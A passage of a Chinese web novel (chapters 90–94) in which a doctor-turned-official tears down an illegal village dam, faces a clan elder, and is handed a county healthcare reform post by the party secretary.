“王局长,从今天起,你这张封条,就是红石峡的新规矩。”
说完,他不再看呆若木鸡的石大山,转身对石磊说:“走吧,带我去看看被你们截断的水源。”
石磊深深地看了叶凡一眼,眼神里,敬畏第一次压过了敌意。
他默默地点了点头,转身,在前面带路。
苏沐秋收起相机,快步追上叶凡,压低了声音,语气里带着一丝兴奋和担忧:“你这一刀,砍得可真够狠的。直接把张海涛的秘书给捅出来了。”
叶凡看着远处蜿蜒的溪流,眼神深邃。
“我不是在捅他。”
“嗯?”
“我是在给他做开胸手术,不把肋骨一根根掰开,怎么看得到里面那颗心脏,到底是不是黑的。”
第90章 釜底抽薪后,再借东风!
溪流的上游,景色陡然一变。
一条粗暴的土石坝,像一道丑陋的伤疤,拦腰截断了清澈的溪水。
坝上,溪水汇成一个小小的水潭,潭水被一根碗口粗的铁管引走,不知去向。
而大坝之下,原本宽阔的河道,只剩下一些散乱的湿润卵石和几处浅浅的水洼,奄奄一息。
河道一侧,是王家和其他村民们龟裂的旱地。
而另一侧,被铁管引走的水源,正欢快地浇灌着一片用篱笆围起来的菜园。
园子里绿意盎然,茄子油亮,辣椒鲜红,黄瓜顶着嫩黄的花,与另一侧的枯黄形成了触目惊心的对比。
这片菜园,正是石大山的私家菜地。
“**石大山!他把水都引去浇他家的菜,我们地里连苗都活不了!”
“我们去说理,他家的狼狗就放出来了!”
村民们的怒火,再也压抑不住。
那片生机勃勃的菜园,像一根毒刺,扎在每个靠天吃饭的红石峡村民心上。
水利局的李副局长,看着眼前这明目张胆的违法工程,一张脸涨成了酱紫色。
这东西矗立在这里,简直就是一记响亮的耳光,扇在他这个水利局副局长的脸上。
“李局长。”叶凡的声音在他身后响起,不带任何情绪,“按照《水法》规定,未经水行政主管部门批准,擅自建设拦河、引水工程,该如何处理?”
李副局长感觉自己的后脖颈子都在冒凉气。
叶凡这是又开始现场“考试”了。
“应……应该责令其停止违法行为,限期补办手续或者恢复原状。”他磕磕巴巴地背着条文。
“那你看,这个工程,有补办手续的可能性吗?”叶凡指了指那片龟裂的土地和愤怒的村民。
李副局长连连摇头:“没有,绝对没有!这是严重损害公共利益的违法工程,必须拆除!”
“很好。”叶凡点点头,“那现在,就请李局长按照程序,现场下达一份《责令拆除通知书》。然后,组织人员,恢复河道原貌。”
“我?”李副局长指了指自己的鼻子。
“你是水利局副局长,我是工作组组长。我负责拍板,你负责专业。”叶凡的语气不容置喙,“还是说,李局长觉得这个程序有问题?”
李副局长一个字也说不出来。
他知道,今天他要是不把这坝拆了,叶凡明天就能把他这个副局长给“拆”了。
他咬了咬牙,从公文包里拿出纸笔,现场起草文件,手抖得像得了帕金森。
苏沐秋凑到叶凡身边,压低声音,语气里带着几分忍俊不禁:“叶大医生,你这哪是当组长,你这是带实习生呢。手把手地教,生怕他们业务不熟练。”
叶凡看了她一眼,一本正经地回答:“一个好的外科主任,不仅要自己刀开得好,还要能带出一批能独当一面的下级医生。不然,我休假了,病人谁管?”
苏沐秋被他这奇怪的比喻逗得噗嗤一声笑了出来,胸前的相机都跟着晃了晃。
就在这时,一阵急促的手机铃声,打破了这短暂的轻松。
是王副局长的手机。
王副局长掏出手机一看,屏幕上跳动的“陈主任”三个字,让他脸色瞬间煞白,拿着手机的手,抖得比李副局长还厉害。
他下意识地看向叶凡,眼神里全是惊恐和求助。
“接。”叶凡只说了一个字。
王副局长像是被判了**,哆哆嗦嗦地划开接听键,开了免提。
“王海!你们在红石峡搞什么名堂!谁给你的胆子去封石大山的厂子!”电话那头,传来陈斌咆哮的声音,尖利刺耳,充满了居高临下的怒火。
“陈……陈主任,我……”王副局长结结巴巴,一句完整的话都说不出来。
“你什么你!石料厂是县里的重点企业,出了问题,要内部整改,谁让你们搞这么大动静的!你知不知道这会给张**的工作带来多大的被动?马上把封条给我撕了,带上你的人,滚回县里来!”
陈斌的每一句话,都像一记重锤,砸得王副局长和李副局长脸色又白了一层。
叶凡没有说话,只是静静地看着王副局长,眼神平静如水。
王副局长被他看得心里发毛,又被电话里的咆哮震得六神无主。
他感觉自己就是个被两头猛虎夹在中间的兔子,往哪边跑都是死。
就在他快要崩溃的时候,叶凡伸出手,从他手里拿过了电话。
“陈主任,你好,我是叶凡。”
电话那头,陈斌的咆哮戛然而止,像是被人猛地掐住了脖子。
过了几秒,才传来他阴冷的声音:“叶凡?好,很好。你这个组长,当得很威风嘛。”
“威风谈不上,只是在履行职责。”叶凡的语气很平静,仿佛在谈论天气,“石料厂存在重大安全隐患,粉尘污染严重,劳资关系混乱。按照张**在全县安全生产会议上的指示精神,对于这种定时**,必须第一时间拆除,不能有丝毫姑息。我想,我这是在替张**排忧解难。”
“你……”陈斌被他这番话堵得一滞。叶凡直接把张海涛抬出来当挡箭牌,他还真不好反驳。
“另外,”叶凡继续说,“江城晚报的记者同志也在这里,对我们这次的‘阳光执法’行动,非常感兴趣。石
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老板在现场,情绪很激动,说了一些不太合适的话,比如,他跟您的关系很好,每个月都有‘孝敬’。苏记者全都录下来了。”
电话那头,传来一阵粗重的喘息声。
“陈主任,你也是办公室出来的,知道舆情猛于虎。我今天封了这个厂,是工作方法问题。要是等明天报纸登出来,因为一个管理混乱、民怨沸腾的厂子,把您和张**都牵扯进去,那可就是**事故了。”
叶凡的声音依旧平淡,但话里的分量,却重如泰山。
“我这是在保护您,也是在保护张**。您说对吗,陈主任?”
电话那头,陷入了死一般的沉默。
王副局长和李副局长,目瞪口呆地看着叶凡。
他们听得头皮发麻,后背发凉。
这是什么神仙操作?
三言两语,就把“对抗领导”变成了“替领导分忧”,把“捅娄子”变成了“避免事故”,甚至还反过来给了对方一个“我是在保护你”的台阶。
**不见血,诛心不留痕。
良久,陈斌几乎是从牙缝里挤出几个字:“……你,好自为之。”
“嘟……嘟……嘟……”
电话被挂断了。
叶凡把手机还给依然处在石化状态的王副局长,仿佛刚才只是接了一个推销电话。
他转过身,看向已经写好通知书的李副局长。
“李局长,可以宣布了。”
李副局长一个激灵,如梦初醒。他看了一眼叶凡,那眼神里,恐惧已经变成了敬畏。
他清了清嗓子,拿起那张还带着手心汗渍的通知书,用尽全身力气,对着全体村民大声宣读。
当最后“立即拆除,恢复原状”八个字念出来的时候,人群爆发出比刚才查封工厂时更热烈的欢呼。
叶凡没有再下命令。
他只是静静地看着。
第一个拿起工具的,是王老二。
**从哪找来一把生锈的铁镐,赤红着双眼,第一个冲向那座象征着不公和压迫的土石坝。
“砸!”
他嘶吼着,用尽全身的力气,将铁镐狠狠地砸了下去。
“砰!”
一声巨响,土石飞溅。
像是第一声号令。
所有的村民,男男女女,老老少少,都动了起来。
他们抄起手边的锄头、铁锹,甚至只是石块,汇成一股洪流,涌向那座大坝。
王副局长和李副局长站在那里,看着这震撼的一幕,久久无言。他们忽然明白,叶凡拆的,不仅仅是一座坝。
他拆的,是压在红石峡人心头几十年,那座看不见的、名为“不信”与“绝望”的大坝。
第91章 法理如刀,难断宗族之根!
“轰!”
伴随着一声呐喊,一块巨大的坝体被几个汉子合力推下河道,激起浑浊的浪花。
人群爆发出震天的欢呼,那声音里,有发泄,有狂喜,更有挣脱枷锁的快意。
铁镐与土石的撞击声,村民们的号子声,汇成了一曲粗野而充满生命力的交响乐。
王副局长和李副局长站在不远处,看着这近乎疯狂的场面,喉结不自觉地上下滚动。
他们见过群众**,见过群体械斗,却从未见过这样一场由官方默许,甚至是由官方亲手点燃的狂欢。
这火,烧掉的是一座土坝,可谁又能保证,它不会烧到别的地方去?
两人不约而同地看向叶凡。
叶凡就站在那片喧嚣的中心,却又仿佛置身事外。
他没笑,也没说话,只是静静地看着,眼神里是一种医生观察病人术后反应的专注与平静。
苏沐秋的相机快门没停过,她想记录下每一张因愤怒而扭曲、又因希望而发光的脸。
但她发现,镜头总会不自觉地被那个年轻的组长吸引过去。
他身上有种奇怪的魔力,能将所有混乱和狂暴,都吸纳、镇定下来。
就在这股狂热的气氛达到顶峰时,一个苍老、沙哑,却极具穿透力的声音,突兀地响彻山谷。
“都给我住手!”
声音不大,却像一盆冰水,瞬间浇熄了沸腾的人心。
喧闹的河道,诡异地安静下来。所有人都停下了手里的动作,高举的铁镐僵在半空,脸上的狂热迅速褪去,取而代之的是一种根植于血脉的、近乎本能的敬畏和恐惧。
人群像摩西分海般,自动分开一条路。
一个身穿黑色对襟褂子,手拄着一根磨得油光发亮的拐杖,瘦得只剩一把骨头的老人,在一群石家核心族人的簇拥下,缓缓走了过来。
正是石三公。
他走得很慢,每一步,拐杖都笃定地敲在地面,发出“笃、笃”的声响。
那声音,仿佛不是敲在地上,而是敲在每个红石峡人的心坎上。
他的眼睛浑浊,眼皮耷拉着,却没人敢与他对视。
“磊子。”石三公甚至没看那群村民,目光直接落在了石磊身上。
石磊高大的身躯猛地一颤,那张面对石大山都敢硬抗的脸,此刻却白得像纸。他低下头,声音艰涩:“三公……”
“啪!”
一声清脆的耳光。
石三公枯瘦的手掌,狠狠地扇在了石磊的脸上。
“没用的东西!”石三公的声音依旧沙哑,却带着冰冷的怒意,“自家兄弟的事,关起门来,打断腿、沉了塘,那都是我石家的规矩!你把外人引进来,拆自家的坝,断自家的财路,你对得起石家的列祖列宗吗!”
石磊捂着脸,一个字也不敢说。
王副局长和李副局长对视一眼,都从对方眼中看到了更深的恐惧。
他们这才明白,石磊、石大山,都只是石家的爪牙,眼前这个行将就木的老头,才是红石峡真正的“王”。
石三公骂完石磊,才缓缓抬起那双浑浊的眼睛,扫过全场。
他的目光在王家那些带头**的村民脸上一一掠过,最后,落在了叶凡的身上。
“你就是县里来的叶组长?”
“是我。”叶凡迎着他的目光,神色不变。
“好,好一个年轻有为的叶组长。”石三公的嘴角扯出一个难看的笑容,露出焦黄的牙齿,“你今天封了我的厂,拆了我的坝,威风得很。老头子我,佩服。”
他的话听着是夸奖,可那股阴冷的寒意,让周围的温度都仿佛降了几分。
“我只是在按规矩办事。”叶凡淡淡地说道。
“规矩?”石三公的拐杖在地上重重一顿,“在这红石峡,几百年来,就只有一个规矩,那就是活下去!水往高处流,那是天理。谁家拳头硬,谁家就能多分一碗水,这是人理。你今天拿县里的法理来压我们,好,我们认。可你叶组长能在这儿待几天?一个月?一年?”
他陡然提高了声音,对着所有村民嘶吼:“他走了之后呢!你们王家和我们石家,还要在这片土地上过一百年,一千年!今天他给你们撑腰,让你们砸了我的坝,明天他拍拍屁股走了,你们两家的仇,是不是就结得更深了?到时候,再打起来,谁给你们断官司?是他叶组长,还是你们手里的锄头?!”
这番话,如同一记记重锤,砸在每个村民的心上。
刚刚还同仇敌忾的村民们,此刻都犹豫了。
他们看看叶凡,又看看石三公,眼神里的火焰渐渐熄灭,重新被迷茫和恐惧所取代。
是啊,官是一时的,宗族是一世的。
叶组长走了,他们还要和石家人低头不见抬头见。
今天的痛快,会不会换来日后更深的痛苦?
苏沐秋的心沉了下去。
她发现,自己手里的相机和录音笔,在这位老人面前,显得那么苍白无力。
法律和**,可以制裁一个石大山,却无法撼动这根植于人心几百年的宗族之根。
这是阳谋。
赤裸裸的阳谋。
就在所有人都以为叶凡会陷入窘境时,他却笑了。
“石三公,你说了这么多,其实就一句话。”叶凡往前走了一步,直面着老人,“你想说,在这里,你石家的规矩,比国家的法律还大。”
石三公眯起了眼睛,没有承认,也没有否认。
“你说的没错,我确实会走。”叶凡继续说道,“但有些东西,我带来了,就没打算让它再离开。”
他没有去看那些动摇的村民,反而转身,问向一直没说话的王副局-长。
“王局长,我问你,如果今天我们走了,石家再把这坝筑起来,再把水截了,你这个**局副局长,管不管?”
王副局长浑身一激灵,他看看叶凡,又看看石三公,感觉自己被放在了绞刑架上。这个问题,怎么答都是死。
“你不用怕。”叶凡的语气很平静,“我只
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需要你回答,按照法律,你该不该管。”
在叶凡那双仿佛能看透人心的眼睛注视下,王副局长咬了咬牙,几乎是吼了出来:“该管!这是公然违法,发现一次,打击一次!”
“好。”叶凡点点头,又看向李副局长,“李局长,这片水源,属于国家还是属于石家?”
李副局长也被逼到了墙角,硬着头皮回答:“属于国家!任何单位和个人不得侵占、截留!”
叶凡这才转回身,重新看向石三公,声音陡然提高,清晰地传到每个人耳朵里:“乡亲们,你们都听到了吗?这不是我叶凡一个人的决定,这是国家的法!今天,我叶凡在这里,**局和水利局的领导也在这里,我们一起,把国家的法,立在这红石峡的土地上!”
“我叶凡会走,但王局长不会走,李局长不会走!**局的大门,永远开着!国家的法律,永远在这儿!”
他指着那座被砸了一半的土坝,目光如炬,扫过每一个村民的脸。
“今天,你们砸的不是石家的坝,你们是在用自己的手,把国家的法,一镐一锄地,重新迎回我们红石峡!”
“你们是想继续活在石家的‘规矩’里,看他们的脸色,分他们剩下的汤水?还是想堂堂正正地站起来,活在国家的法律下,用自己的双手,去浇灌自己的土地?”
“这坝,砸不砸,你们自己选!”
叶凡说完,便不再言语,只是静静地站在那里。
整个山谷,落针可闻。
所有村民的呼吸都变得粗重,他们看着叶凡,看着他身后那些虽然脸色难看,却不敢反驳的局长们,再看看脸色铁青的石三公。
他们心里那团被浇灭的火,似乎又有了复燃的迹象。
就在这死一般的寂静中,第一个做出选择的,又是王老二。
他想到了病床上母亲苍白的脸,看了一眼叶凡坚定的背影,猛地举起手中的铁镐,用尽全身的力气,嘶吼着砸了下去!
“砸!!”
“砰!”
这一声,像是一个信号。
一个、两个、十个……
越来越多的村民,重新举起了手中的工具,眼神里的犹豫和恐惧,被一种破釜沉舟的决绝所取代。
石三公看着眼前再度沸腾的人群,那双浑浊的眼睛里,第一次露出了惊骇。
他发现,这个年轻人,正在用一种他完全无法理解的方式,瓦解着他经营了一辈子的权威。
他不是在拆坝,他是在……诛心!
“反了!都反了!”石三公气得浑身发抖,拐杖笃笃地敲着地,声音凄厉。
叶凡走到他的面前,弯下腰,用只有两个人能听到的声音说:“三公,时代变了。你那套,该进博物馆了。”
说完,他直起身,看着那座在众人合力下,正在一寸寸崩塌的土坝,眼神深邃。
第一把刀,斩了后台。第二把刀,断了水源。
这第三把刀,是时候,该去会会这县里的“天”了。
第92章 一坝既平,风波又起!
随着最后一块顽石被推入河道,那道盘踞在红石峡上游多年的土坝,终于彻底消失。
清澈的溪水挣脱了束缚,发出一阵欢快的咆哮,沿着干涸的河床奔涌而下。
水流过龟裂的土地,发出“滋滋”的声响,像是在抚慰着大地的伤痕。
村民们站在水边,看着那失而复得的生命之源,许多人喜极而泣。
王老二跪在溪边,用手捧起一把水,狠狠地泼在自己脸上,混着泪水和泥土,哭得像个孩子。
石三公站在远处,像一尊风化的石像。
他看着那奔流的溪水,看着那些欢呼的王家人,浑浊的眼中,最后一丝光亮也熄灭了。
他没有再放一句狠话,只是在族人的搀扶下,转身,佝偻着背,一步一步地走回了阴影里。
他知道,红石峡的天,真的变了。
叶凡没有去享受胜利者的欢呼。
他走到脸色惨白的王副局长和李副局长面前。
“王局长,李局长,今天辛苦了。”
两人浑身一哆嗦,连忙摆手,那姿态,比见了亲爹还恭敬。
“不辛苦,不辛苦,都是我们应该做的。”王副局长挤出一个比哭还难看的笑容。
“叶组长,今天我们是真开了眼了。”李副局长由衷地感慨。
他干了半辈子水利,第一次知道,文件和法规,原来还能这么用。
“今天只是开始。”叶凡看着两人,“坝拆了,规矩也要立起来。后续的污染检测、案件复查、责任追究,哪一环都不能掉链子。你们是专业的,我就不外行指导内行了。我只有一个要求。”
两人立刻立正站好,洗耳恭听。
“快。”叶凡只说了一个字,“用最快的速度,拿出结果,公示给全村人看。我要让所有人知道,国家的法,不仅立得起来,还走得比谁都快。”
“明白!”两人异口同声,声音洪亮。
叶凡点点头,不再多言,转身走向自己的桑塔纳。
苏沐秋快步跟上,帮他拉开车门,自己也坐进了副驾驶。
汽车发动,在一片感激和敬畏的目光中,缓缓驶离了红石峡。
车里,苏沐秋侧着头,像看怪物一样打量着叶凡。
“喂,你老实交代,你大学是不是除了临床医学,还辅修了心理学和厚黑学?”
叶凡目视前方,专心开车:“我只是把官场当成了一台大型手术。病因、病灶、切除、缝合,流程都是一样的。”
“得了吧你。”苏沐秋撇撇嘴,“你今天把王副局长他们几个,吓得跟鹌鹑似的。还有那个陈斌,我都能想象到他现在在办公室里摔杯子的样子。你这一刀下去,捅的可是一个马蜂窝。”
“马蜂窝?”叶凡笑了笑,“你见过哪个马蜂窝,是自己把刀递过来的?”
苏沐秋愣了一下,随即反应过来,忍不住笑出了声:“你是说张海涛?他把工作组组长的位置给你,就是把刀递给你?”
“他想让我当刀,去砍他的政敌。但他没想到,我这把刀,有自己的想法。我不喜欢**,我喜欢治病。”叶凡的语气很平静,“红石峡病了,病根就是不公。陈斌和石大山,就是最大的两个病灶。切了,病就好了大半。”
“那你就不怕张海涛回头找你算账?毕竟陈斌是他的人。”苏沐秋的语气里带着一丝担忧。
“他不会。”叶凡的嘴角勾起一抹弧度,“至少现在不会。我封厂、拆坝,全程打的都是他的旗号,说的都是为了维护他的权威。他要是现在动我,不就等于告诉全县的人,他之前说的安全生产、群众利益,全都是放屁吗?”
苏沐秋听得目瞪口呆,半晌才憋出一句:“你这心,得有多少个弯弯绕?”
叶凡瞥了她一眼:“不多,跟心脏的腔室一样,四个。一个用来讲道理,一个用来动手术,一个用来对付敌人,还有一个……”
“还有一个用来干嘛?”苏沐秋好奇地追问。
叶凡的嘴角,露出一丝不易察觉的微笑:“用来谢谢苏大记者的鸡汤和现场支援。”
苏沐秋的脸颊没来由地一热,她扭过头看向窗外,嘴里却小声嘀咕:“油嘴滑舌。”
桑塔纳一路疾驰,将崎岖的山路甩在身后。
而此刻的青川县官场,早已是暗流汹涌。
县委**办公室里,张海涛正拿着一份刚打印出来的文件,面沉如水。
文件是苏沐秋发回报社的内部通稿,标题赫然是——《工作组下沉一线动真格,红石峡百年顽疾迎刃而解》。
通稿里,把他张海涛塑造成了一个高瞻远瞩、敢于亮剑的改革先锋。
把叶凡形容成他手中最锋利的“手术刀”,精准切除了危害群众利益的毒瘤。
字里行间,全是赞美之词。
可张海涛的脸色,却越来越黑。
“好一个叶凡,好一个江城晚报……这是把我架在火上烤啊!”
他当然看得出来,这篇通稿名为赞扬,实为“**”。
他要是敢动叶凡,就是否定自己,就是与“**”为敌。
“**,陈斌的电话。”秘书小心翼翼地走进来。
“让他滚!”张海涛把文件狠狠地拍在桌上,胸口剧
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烈起伏。
他没想到,自己放出去的一条狗,转眼就被人连窝端了,还把自己给牵扯了进去。
另一边,县政府大楼里。
刚刚回到办公室的王副局长和李副局长,屁股还没坐热,门口就探进来好几个脑袋。
“老王,听说你们今天在红石峡搞了个大新闻?”
“李局,牛啊!当着全村人的面,把**局长给审了?”
“快说说,那叶凡到底是什么来头?真把石家的厂子给封了?”
面对同事们好奇的探询,王副局长和李副局长对视一眼,都从对方眼中看到了一丝复杂的情绪。
有后怕,有惊叹,甚至还有一丝莫名的……爽快。
王副局长清了清嗓子,一改往日的圆滑,摆出一副公事公办的架势:“什么审问?叶组长那是创新工作方法,叫‘现场办公,阳光执法’!你们是没看到,那场面,群众的情绪一下子就理顺了!”
李副局长也煞有介事地点点头:“叶组长说了,我们当干部的,就不能怕担责任,不能怕见群众。国家的法律,就是要落到实处!我算是受了回教育!”
两人一唱一和,把一众同事说得一愣一愣的。
他们忽然发现,这两人从红石峡回来,整个人的精气神都不一样了,腰杆子好像都挺直了不少。
夜幕降临,叶凡回到卫生局的临时宿舍,冲了个澡,换了身干净衣服。
高强度的一天下来,身体虽然疲惫,但精神却异常亢奋。
他坐在桌前,没有去想接下来可能的**,而是摊开笔记本,开始复盘今天在红石峡的每一个细节。
人心,宗族,利益,法规……无数线索在他脑中交织,像是在进行一台复杂至极的脑部手术。
就在这时,桌上的手机突兀地响了起来。
是个陌生号码。
叶凡接起电话,没有说话。
电话那头,传来一个年轻、客气,却带着一丝公事公办的冰冷的声音。
“请问,是叶凡同志吗?”
“我是。”
“叶组长,您好。我是县委办的,我姓周。”对方的语气很平稳,“张**想见您,请您现在到他办公室来一趟。”
叶凡看了一眼窗外深沉的夜色。
该来的,终究还是来了。
“好,我马上到。”
挂了电话,他站起身,走到窗边,看着县城里星星点点的灯火。
红石峡的仗打完了,但这间手术室里的博弈,才刚刚开始。
张海涛,这颗江城县的“心脏”,他倒要亲眼看一看,里面到底藏着什么。
第93章 君前对弈,天威难测!
县委大楼在夜色中像一头沉默的巨兽,只有顶层**办公室的窗口,透出一方孤零零的亮光。
叶凡的桑塔纳停在楼下,他没有立刻上去,而是摇下车窗,点了一根烟。
烟雾缭绕中,那方灯光显得有些不真切,像是一个等待猎物自投罗网的陷阱。
他知道,张海涛找他,绝不是为了表彰他这个“有功之臣”。
查封石料厂,是釜底抽薪。
拆掉拦水坝,是扭转民心。
而逼反陈斌,等于是在张海涛这位县委**的脸上,狠狠地扇了一记耳光。
他把烟蒂捻灭在车载烟灰缸里,推门下车。
县委办的小周秘书早已等在电梯口,三十岁上下的年纪,戴着金丝眼镜,一身笔挺的中山装,脸上挂着程式化的微笑。
“叶组长,**等您很久了。”
“辛苦周秘书了。”
电梯里,两人相对无言,只有冰冷的数字在跳动。
小周的目光,状似无意地在叶凡身上扫过,像是在评估一件即将呈送上去的物品。
**办公室的门是红木的,厚重而压抑。
小周轻轻敲了三下,里面传来一个沉稳的声音:“进来。”
办公室很大,装修得古朴典雅。巨大的实木办公桌后,张海涛正低头批阅文件,甚至没有抬头看一眼进来的人。
他穿着一件白色的确山丝衬衫,袖口挽到手肘,露出一截精悍的小臂。
这是一个充满了掌控欲的男人。
“**,叶组长到了。”小周轻声说。
“嗯。”张海涛从鼻腔里应了一声,手里的派克金笔依旧在文件上沙沙作响,足足过了一分钟,他才像是刚刚处理完一件天大的要事,缓缓抬起头。
他的目光并不锐利,甚至有些温和,但那温和之下,是深不见底的审视。
“小叶,来了。坐。”他指了指办公桌对面的椅子。
小周给叶凡倒了杯水,便悄无声息地退了出去,顺手带上了门。
办公室里只剩下两个人。
“今天在红石峡,干得不错。”张海涛率先开口,语气像是长辈在夸奖一个有出息的晚辈,“有魄力,有手段,像一把出鞘的快刀。”
叶凡欠了欠身:“**过奖了。我只是个医生,看病看惯了,见了脓包,就想第一时间给它挤掉。”
“脓包?”张海涛的眉毛微微一挑,他靠在宽大的椅背上,十指交叉放在身前,“脓包是挤掉了,可病人也疼得不轻啊。王海和李建军两个人,回来的时候脸都白了。还有陈斌,跟了我快十年,没有功劳也有苦劳。你让他以后,在青川县怎么做人?”
来了。
叶凡心里清楚,这才是正题。
他没有急着辩解,而是端起水杯,轻轻吹了吹上面的热气:“**,我以前在心外科,做过一台心脏搭桥手术。病人的血管堵了百分之九十,随时可能心梗**。要救他,就必须开胸,把堵塞的血管换掉。手术过程很痛苦,风险也很大,但这是唯一能让他活下去的办法。”
他放下水杯,迎上张海涛的目光:“红石峡就是那个病人,已经病入膏肓。陈斌和石料厂,就是那段堵死的血管。如果我不动刀,任由它发展下去,等到江城晚报把这事捅出去,标题是《县委**心腹充当黑恶势力保护伞》,那到时候,**的,可就不仅仅是红石…峡了。”
张海涛的瞳孔,猛地收缩了一下。
办公室里陷入了死一般的寂静。
叶凡的话,像一把更锋利的手术刀,精准地剖开了张海涛所有温和的伪装,将最核心的利害关系,赤裸裸地摆在了桌面上。
良久,张海涛笑了。
那是一种夹杂着恼怒、欣赏,还有一丝无奈的复杂笑容。
“好一个叶凡,好一张利嘴。”他摇了摇头,“你这是在告诉我,你今天不是在给我捅娄子,而是在给我拆**?”
“我只是在履行一个组长的职责,也是在维护**您的权威。”叶凡的语气依旧平静,“您在全县安全生产会议上三令五申,要求铁腕治理。我做的每一件事,说的每一句话,都是在执行您的指示精神。我相信,苏记者那篇稿子,您也看到了。现在全县干部群众都认为,您是一位敢于亮剑、为民做主的青天。这个时候,您总不能告诉大家,这把剑,您不想用了吧?”
“你这是在**我。”张海涛的笑容敛去,一字一句地说道。
“我只是想把这台手术,做得
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更彻底一些。”
张海涛死死地盯着叶凡,仿佛想从他那张平静的脸上,看出哪怕一丝一毫的胆怯或心虚。
但他失望了。
叶凡就那么静静地坐着,不卑不亢,像一根扎进岩石的青松。
张海涛忽然明白了,他犯了一个错误。
他以为自己找来的是一条听话的猎犬,没想到,却是一头有自己獠牙和意志的孤狼。
想用好这头狼,光靠链子是不够的,还得扔给他更难啃的骨头。
“陈斌的事情,我会处理。他需要好好反省一下了。”张海涛的语气缓和下来,他拉开抽屉,从里面拿出另一份文件,推到叶凡面前。
“红石峡只是一个点,我们整个青川县的乡镇卫生医疗体系,才是一个巨大的烂摊子。药品采购吃回扣,医疗设备常年闲置,好医生留不住,老百姓看病难、看病贵。你是专业出身,对这些问题,应该比我看得更清楚。”
叶凡拿起文件,上面赫然是《关于成立青川县乡镇医疗改革试点工作领导小组的通知》。
组长,张海涛。
常务副组长,叶凡。
“这份文件,我压了很久,一直找不到一个合适的操盘手。”张海涛看着叶凡,眼神深邃,“我给你人,给你政策,给你尚方宝剑。我只有一个要求,一年之内,我要看到青川县的乡镇医疗,换一个新面貌。”
叶凡的心,猛地一沉。
他知道,这是张海涛的阳谋。
他赢了红石峡的“战役”,却被张海涛直接推进了一个更凶险、更复杂的“战场”。
乡镇医疗改革,牵一发而动全身。
这里面盘根错节的利益关系,比红石峡的宗族矛盾复杂百倍。
干好了,是天大的政绩,是张海涛的。
干砸了,他叶凡就是那个背锅侠,万劫不复。
这是一块带着剧毒的蛋糕。
“怎么?不敢接?”张海涛的嘴角,勾起一抹玩味。
叶凡将文件轻轻合上,脸上露出了今晚第一个真诚的笑容。
“**,您太小看一个外科医生的野心了。”
他站起身,微微躬身。
“比起治好一个村子,我更想给整个县,做一次心脏搭桥手术。”
第94章 一枚过河卒,满盘皆是杀!
从县委大楼里出来,夜风一吹,叶凡才感觉后背不知何时已经起了一层薄汗。
张海涛办公室里的那杯水,他只碰了一下,却像是喝了一整壶的烈酒,烧得他五脏六腑都在发烫。
他不是傻子,自然明白张海涛这手“提拔”的含义。
红石峡是他主动要来的手术刀,锋利好用,一刀见效。
而这个“乡镇医疗改革试点工作领导小组常务副组长”,则是张海涛硬塞给他的另一把刀。
这把刀更大,也更钝。
要用它去割开整个青川县医疗系统盘根错节的利益肌体,稍有不慎,不是刀断,就是人亡。
赢了,功劳是张海涛高瞻远瞩、领导有方。
输了,他叶凡就是那个急功近利、能力不济的替罪羊。
好一招一石二鸟,既用他的能力去啃最硬的骨头,又把他牢牢地绑在了自己的战车上。
叶凡发动汽车,桑塔纳汇入县城寂静的街道。
他看着前方明灭的路灯,嘴角却勾起一抹冷冽的弧度。
棋子,他认。
可棋子,也有过河卒。
一步拱到底,同样能叫将。
第二天一早,叶凡刚踏进卫生局的大门,就感觉到了气氛的诡异。
走廊里,昔日那些低头不见抬头见的同事,纷纷主动停下脚步,脸上堆着热情又复杂的笑容。
“叶局,早!”
“叶局,听说您又要挑大梁了?恭喜恭喜!”
这声“叶局”叫得格外响亮,仿佛他已经不是副局长,而是局长本人。
叶凡微笑着点头回应,心里却跟明镜似的。
这哪是恭喜,这分明是看戏。
他还没走到办公室,局长马德龙的秘书就一路小跑地迎了上来:“叶局,马局请您过去一趟。”
马德龙的办公室里,正泡着一壶上好的龙井,茶香四溢。
“哎呀,小叶来了,快坐快坐!”马德龙挺着他那标志性的啤酒肚,满面红光地站起来,亲自给叶凡倒茶,热情得像是招待失散多年的亲儿子。
“了不起,实在是了不起!”马德龙把茶杯递到叶凡面前,一屁股坐回自己的大班椅上,啧啧赞叹,“**了快三十年卫生工作,还从没见过哪个年轻人,能得张**如此器重!这常务副组长,权力可不小啊!”
叶凡端起茶杯,没有喝,只是平静地看着他:“马局,您是局长,也是我的老领导。这个小组的工作,离不开您的指导和局里同志们的支持。”
“支持,那必须百分之百支持!”马德龙把胸脯拍得砰砰响,“张**的指示,就是我们的工作方向!你放手去干,需要人给人,需要物给物,我马德龙绝不含糊!”
他话锋一转,拿起桌上的紫砂壶,慢悠悠地给自己续水,像是忽然想起了什么。
“不过话说回来,小叶啊,你年轻,有冲劲,这是好事。但有时候,这步子迈得太大,容易扯着胯。”他吹了吹茶沫,意有所指,“几个月前,你查康达医疗公司,那只是动了一家供应商,就在局里引起多大的震动?现在搞这个乡镇医疗改革,那可是要动全县所有乡镇卫生院的奶酪啊。”
“药品采购、设备更新、人事安排……这里面的水,深着呢。你这一竿子下去,捅上来的,可就不止是泥鳅了,说不定是蛟龙啊。”
马德龙放下茶杯,语重心长地看着叶凡,眼神里充满了“长辈的关怀”:“你是我手下的兵,我可不希望你出师未捷身先死。凡事,要三思,要稳妥。”
叶凡笑了。
他把手里的茶杯轻轻放在桌上,发出“嗒”的一声轻响。
“谢谢马局的关心。您说的这些,张**也跟我强调了。”叶凡的语气十分诚恳,“张**说,我毕竟年轻,经验不足,怕我把握不住方向。他特意叮嘱我,卫生局这边,一定要以您马局的意见为准,您是掌舵人,有您盯着,他才放心。”
马德龙脸上的笑容,瞬间僵住。
他那双小眼睛眨了眨,像是没听明白。
叶凡继续说道:“所以,我琢磨着,这个改革方案的第一稿,得先请您过目、斧正。以后小组的每一次会议纪要,也都第一时间报给您审阅。我这常务副组长,说白了就是个跑腿办事的,真正拿主意的,还得是您这位局长和张**。”
他这一番话,说得滴水不漏。
既把张海涛抬出来当大旗,又把“监督指导”的责任,结结实实地扣在了马德龙的头上。
你想看我笑话?可以。
你想给我使绊子?也行。
但只要我这工作出了纰漏,张**问责下来,你马德龙就是“指导不力”、“监督不严”。
我叶凡最多是能力问题,你马德龙,那可就是态度问题了。
马德龙被这番话噎得半天没喘上气来,端着茶杯的手都有点哆嗦。
他感觉自己像是抡圆了拳头,结果一拳打在了棉花上,还是带刺的棉花,把自己给扎了一手。
“呵呵……小叶啊,你看你,想得太多了。”他干笑两声,“我的意思是,大胆干,有我给你兜底!”
